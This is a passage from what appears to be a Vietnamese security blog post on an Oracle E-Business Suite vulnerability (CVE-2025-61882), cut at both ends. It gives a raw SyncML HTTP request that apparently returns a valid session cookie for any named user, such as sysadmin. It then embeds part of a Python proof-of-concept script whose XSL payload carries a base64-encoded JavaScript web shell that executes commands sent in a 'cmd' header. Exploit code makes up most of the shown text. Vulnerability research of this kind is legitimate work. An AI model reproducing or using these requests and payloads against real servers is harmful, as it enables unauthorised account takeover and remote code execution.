</code></code></pre><ul><li><p>[5]: G&#225;n cookie v&#7915;a t&#7841;o v&#224;o param &#8216;sid&#8217;</p></li><li><p>[6]: &#272;&#432;a v&#224;o tag ResponseURI</p></li><li><p>[7]: Return l&#7841;i cho client</p></li></ul><p><strong>T&#243;m l&#7841;i:</strong> &#272;&#7875; chi&#7871;m &#273;&#432;&#7907;c phi&#234;n &#273;&#259;ng nh&#7853;p c&#7911;a m&#7897;t user b&#7845;t k&#7923; (v&#237; d&#7909;: <code>sysadmin</code>), ta ch&#7881; c&#7847;n g&#7917;i m&#7897;t message SyncML k&#232;m theo username, EBS s&#7869; tr&#7843; l&#7841;i m&#7897;t cookie h&#7907;p l&#7879; trong response :v (this must be a backdoor anyway &#175;\_(&#12484;)_/&#175;).</p><pre><code><code>POST /OA_HTML/SyncServlet HTTP/1.1
Host: apps.example.com:8000
Content-Type: application/vnd.syncml+xml
Content-Length: 607

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;SyncML&gt;
  &lt;SyncHdr&gt;
    &lt;VerDTD&gt;1.1&lt;/VerDTD&gt;
    &lt;VerProto&gt;SyncML/1.1&lt;/VerProto&gt;
    &lt;SessionID&gt; 1&lt;/SessionID&gt;
    &lt;MsgID&gt;1&lt;/MsgID&gt;

    &lt;Target&gt;&lt;LocURI&gt;http://localhost&lt;/LocURI&gt;&lt;/Target&gt;
    &lt;Source&gt;&lt;LocURI&gt;device-123&lt;/LocURI&gt;&lt;/Source&gt;

    &lt;Cred&gt;
      &lt;Meta&gt;
        &lt;Format&gt;b64&lt;/Format&gt;
        &lt;Type&gt;syncml:auth-basic&lt;/Type&gt;
      &lt;/Meta&gt;
      &lt;Data&gt;c3lzYWRtaW46V1JPTkdfUEFTUw==&lt;/Data&gt;  // Base64(username:password)
    &lt;/Cred&gt;
  &lt;/SyncHdr&gt;

  &lt;SyncBody&gt;
    &lt;Alert&gt;
      &lt;CmdID&gt;1&lt;/CmdID&gt;
      &lt;Data&gt;200&lt;/Data&gt;
    &lt;/Alert&gt;
    &lt;Final/&gt;
  &lt;/SyncBody&gt;
&lt;/SyncML&gt;
</code></code></pre><p><strong>Demo:</strong></p><div id="youtube2-Ys9dN016joM" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;Ys9dN016joM&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/Ys9dN016joM?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h1></h1><p><strong>PoC script:</strong></p><div class="github-gist" data-attrs="{&quot;innerHTML&quot;:&quot;<div id=\&quot;gist144648680\&quot; class=\&quot;gist\&quot;>\n    <div class=\&quot;gist-file\&quot; translate=\&quot;no\&quot; data-color-mode=\&quot;light\&quot; data-light-theme=\&quot;light\&quot;>\n      <div class=\&quot;gist-data\&quot;>\n        <div class=\&quot;js-gist-file-update-container js-task-list-container\&quot;>\n  <div id=\&quot;file-ebs_cve-2025-61882_poc-py\&quot; class=\&quot;file my-2\&quot;>\n    \n    <div itemprop=\&quot;text\&quot;\n      class=\&quot;Box-body p-0 blob-wrapper data type-python  \&quot;\n      style=\&quot;overflow: auto\&quot; tabindex=\&quot;0\&quot; role=\&quot;region\&quot;\n      aria-label=\&quot;EBS_CVE-2025-61882_poc.py content, created by testanull on 08:47AM today.\&quot;\n    >\n\n        \n<div class=\&quot;js-check-hidden-unicode js-blob-code-container blob-code-content\&quot;>\n\n  <template class=\&quot;js-file-alert-template\&quot;>\n  <div data-view-component=\&quot;true\&quot; class=\&quot;flash flash-warn flash-full d-flex flex-items-center\&quot;>\n  <svg aria-hidden=\&quot;true\&quot; height=\&quot;16\&quot; viewBox=\&quot;0 0 16 16\&quot; version=\&quot;1.1\&quot; width=\&quot;16\&quot; data-view-component=\&quot;true\&quot; class=\&quot;octicon octicon-alert\&quot;>\n    <path d=\&quot;M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\&quot;></path>\n</svg>\n    <span>\n      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.\n      <a class=\&quot;Link--inTextBlock\&quot; href=\&quot;https://github.co/hiddenchars\&quot; target=\&quot;_blank\&quot;>Learn more about bidirectional Unicode characters</a>\n    </span>\n\n\n  <div data-view-component=\&quot;true\&quot; class=\&quot;flash-action\&quot;>        <a href=\&quot;{{ revealButtonHref }}\&quot; data-view-component=\&quot;true\&quot; class=\&quot;btn-sm btn\&quot;>    Show hidden characters\n</a>\n</div>\n</div></template>\n<template class=\&quot;js-line-alert-template\&quot;>\n  <span aria-label=\&quot;This line has hidden Unicode characters\&quot; data-view-component=\&quot;true\&quot; class=\&quot;line-alert tooltipped tooltipped-e\&quot;>\n    <svg aria-hidden=\&quot;true\&quot; height=\&quot;16\&quot; viewBox=\&quot;0 0 16 16\&quot; version=\&quot;1.1\&quot; width=\&quot;16\&quot; data-view-component=\&quot;true\&quot; class=\&quot;octicon octicon-alert\&quot;>\n    <path d=\&quot;M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\&quot;></path>\n</svg>\n</span></template>\n\n  <table data-hpc class=\&quot;highlight tab-size js-file-line-container\&quot; data-tab-size=\&quot;4\&quot; data-paste-markdown-skip data-tagsearch-path=\&quot;EBS_CVE-2025-61882_poc.py\&quot;>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L1\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;1\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC1\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>requests</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L2\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;2\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC2\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>from</span> <span class=pl-s1>bs4</span> <span class=pl-k>import</span> <span class=pl-v>BeautifulSoup</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L3\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;3\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC3\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>re</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L4\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;4\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC4\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>random</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L5\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;5\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC5\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>base64</span> <span class=pl-k>as</span> <span class=pl-v>Base64</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L6\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;6\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC6\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>xml</span>.<span class=pl-s1>etree</span>.<span class=pl-v>ElementTree</span> <span class=pl-k>as</span> <span class=pl-c1>ET</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L7\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;7\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC7\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>import</span> <span class=pl-s1>urllib</span>.<span class=pl-s1>parse</span> <span class=pl-k>as</span> <span class=pl-s1>urlparse</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L8\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;8\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC8\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>from</span> <span class=pl-s1>urllib</span>.<span class=pl-s1>parse</span> <span class=pl-k>import</span> <span class=pl-s1>unquote</span>, <span class=pl-s1>parse_qs</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L9\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;9\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC9\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L10\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;10\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC10\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>COOKIES</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L11\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;11\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC11\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;JSESSIONID&amp;quot;</span>: <span class=pl-s>&amp;quot;abc&amp;quot;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L12\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;12\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC12\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;EBSDB&amp;quot;</span>: <span class=pl-s>&amp;quot;def&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L13\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;13\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC13\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L14\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;14\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC14\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L15\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;15\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC15\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>HEADERS</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L16\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;16\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC16\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;User-Agent&amp;quot;</span>: <span class=pl-s>&amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;quot;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L17\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;17\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC17\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s>&amp;quot;Content-Type&amp;quot;</span>: <span class=pl-s>&amp;quot;application/x-www-form-urlencoded&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L18\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;18\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC18\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    }</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L19\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;19\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC19\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L20\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;20\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC20\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>TEMPLATE_NAME</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;Template&amp;quot;</span> <span class=pl-c1>+</span> <span class=pl-en>str</span>(<span class=pl-s1>random</span>.<span class=pl-c1>randint</span>(<span class=pl-c1>1000</span>, <span class=pl-c1>9999</span>))</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L21\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;21\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC21\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L22\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;22\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC22\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>PROXY</span> <span class=pl-c1>=</span> {<span class=pl-s>&amp;quot;http&amp;quot;</span>: <span class=pl-s>&amp;quot;http://127.0.0.1:8089&amp;quot;</span>, <span class=pl-s>&amp;quot;https&amp;quot;</span>: <span class=pl-s>&amp;quot;http://127.0.0.1:8089&amp;quot;</span>}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L23\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;23\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC23\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L24\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;24\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC24\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-c1>XSL_PAYLOAD</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;#39;&amp;#39;&amp;#39;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L25\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;25\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC25\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;xsl:stylesheet version=&amp;quot;1.0&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L26\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;26\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC26\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:xsl=&amp;quot;http://www.w3.org/1999/XSL/Transform&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L27\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;27\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC27\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:b64=&amp;quot;http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L28\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;28\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC28\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:jsm=&amp;quot;http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L29\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;29\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC29\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:eng=&amp;quot;http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L30\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;30\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC30\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    xmlns:str=&amp;quot;http://www.oracle.com/XSL/Transform/java/java.lang.String&amp;quot;&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L31\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;31\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC31\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L32\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;32\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC32\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;xsl:template match=&amp;quot;/&amp;quot;&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L33\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;33\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC33\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;bs&amp;quot; select=&amp;quot;b64:decodeBuffer(b64:new(), &amp;#39;dmFyIGUgPSAnJzsKdmFyIG91dHB1dCA9ICIiOwoKdHJ5IHsKICAgIHZhciB0aHJlYWQgPSBqYXZhLmxhbmcuVGhyZWFkLmN1cnJlbnRUaHJlYWQoKTsKICAgIHZhciBjdHhMb2FkZXIgPSB0aHJlYWQuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCk7CiAgICB2YXIgZXhlY3V0ZVRocmVhZENscyA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJ3ZWJsb2dpYy53b3JrLkV4ZWN1dGVUaHJlYWQiLCB0cnVlLCBjdHhMb2FkZXIpOwogICAgdmFyIHNlcnZsZXRSZXNwb25zZUltcGxDbHMgPSBqYXZhLmxhbmcuQ2xhc3MuZm9yTmFtZSgid2VibG9naWMuc2VydmxldC5pbnRlcm5hbC5TZXJ2bGV0UmVzcG9uc2VJbXBsIiwgdHJ1ZSwgY3R4TG9hZGVyKTsKICAgICAgICB2YXIgYWRhcHRlciA9IGV4ZWN1dGVUaHJlYWRDbHMuY2FzdCh0aHJlYWQpLmdldEN1cnJlbnRXb3JrKCk7CiAgICB2YXIgcmVzOwogICAgdmFyIHJlcTsKICAgIGlmIChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TmFtZSgpLmVuZHNXaXRoKCJTZXJ2bGV0UmVxdWVzdEltcGwiKSkgewogICAgICAgIHJlcyA9IHNlcnZsZXRSZXNwb25zZUltcGxDbHMuY2FzdChhZGFwdGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIpLmludm9rZShhZGFwdGVyKSk7CiAgICAgICAgcmVxID0gYWRhcHRlcjsgCiAgICB9IGVsc2UgewogICAgICAgIHZhciBmaWVsZCA9IGFkYXB0ZXIuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJjb25uZWN0aW9uSGFuZGxlciIpOwogICAgICAgIGZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CiAgICAgICAgdmFyIG9iaiA9IGZpZWxkLmdldChhZGFwdGVyKTsKICAgICAgICByZXEgPSBvYmouZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImdldFNlcnZsZXRSZXF1ZXN0IikuaW52b2tlKG9iaik7CiAgICAgICAgcmVzID0gc2VydmxldFJlc3BvbnNlSW1wbENscy5jYXN0KHJlcS5nZXRDbGFzcygpLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiKS5pbnZva2UocmVxKSk7CiAgICB9CgogCiAgICB2YXIgY21kID0gcmVxLmdldEhlYWRlcigiY21kIik7CiAgICBpZiAoY21kKSB7CiAgICAgICAgdmFyIHByb2MgPSBqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpOwogICAgICAgIHZhciBpcyA9IHByb2MuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAKICAgICAgICB2YXIgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihpcykudXNlRGVsaW1pdGVyKCJcXEEiKTsKICAgICAgICBvdXRwdXQgPSBzLmhhc05leHQoKSA/IHMubmV4dCgpIDogIiI7CiAgICAgICAgCiAgICAgICAgaWYgKG91dHB1dC5sZW5ndGgoKSA8IDEpIHsKICAgICAgICAgICAgdmFyIGVzID0gcHJvYy5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB2YXIgc2UgPSBuZXcgamF2YS51dGlsLlNjYW5uZXIoZXMpLnVzZURlbGltaXRlcigiXFxBIik7CiAgICAgICAgICAgIG91dHB1dCA9IHNlLmhhc05leHQoKSA/IHNlLm5leHQoKSA6ICIiOwogICAgICAgIH0KCiAgICAgICAgcmVzLmdldFNlcnZsZXRPdXRwdXRTdHJlYW0oKS53cml0ZShuZXcgamF2YS5sYW5nLlN0cmluZyhvdXRwdXQpLmdldEJ5dGVzKCkpOwogICAgICAgIHJlcy5nZXRTZXJ2bGV0T3V0cHV0U3RyZWFtKCkuZmx1c2goKTsKICAgICAgICByZXMuZ2V0V3JpdGVyKCkuY2xvc2UoKTsKICAgICAgICByZXMuZ2V0U2VydmxldE91dHB1dFN0cmVhbSgpLmNsb3NlKCk7CiAgICAgICAgCiAgICB9Cgp9IGNhdGNoIChlcnJvcikgewogICAgCn0=&amp;#39;)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L34\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;34\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC34\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;js&amp;quot; select=&amp;quot;str:new($bs)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L35\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;35\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC35\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;m&amp;quot; select=&amp;quot;jsm:new()&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L36\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;36\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC36\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;e&amp;quot; select=&amp;quot;jsm:getEngineByName($m, &amp;#39;js&amp;#39;)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L37\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;37\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC37\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:variable name=&amp;quot;result&amp;quot; select=&amp;quot;eng:eval($e, $js)&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L38\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;38\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC38\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;xsl:value-of select=&amp;quot;$result&amp;quot; /&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L39\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;39\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC39\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;/xsl:template&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L40\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;40\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC40\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L41\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;41\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC41\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;/xsl:stylesheet&amp;gt;&amp;#39;&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L42\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;42\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC42\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L43\&quot; class=\&quot;blob-num 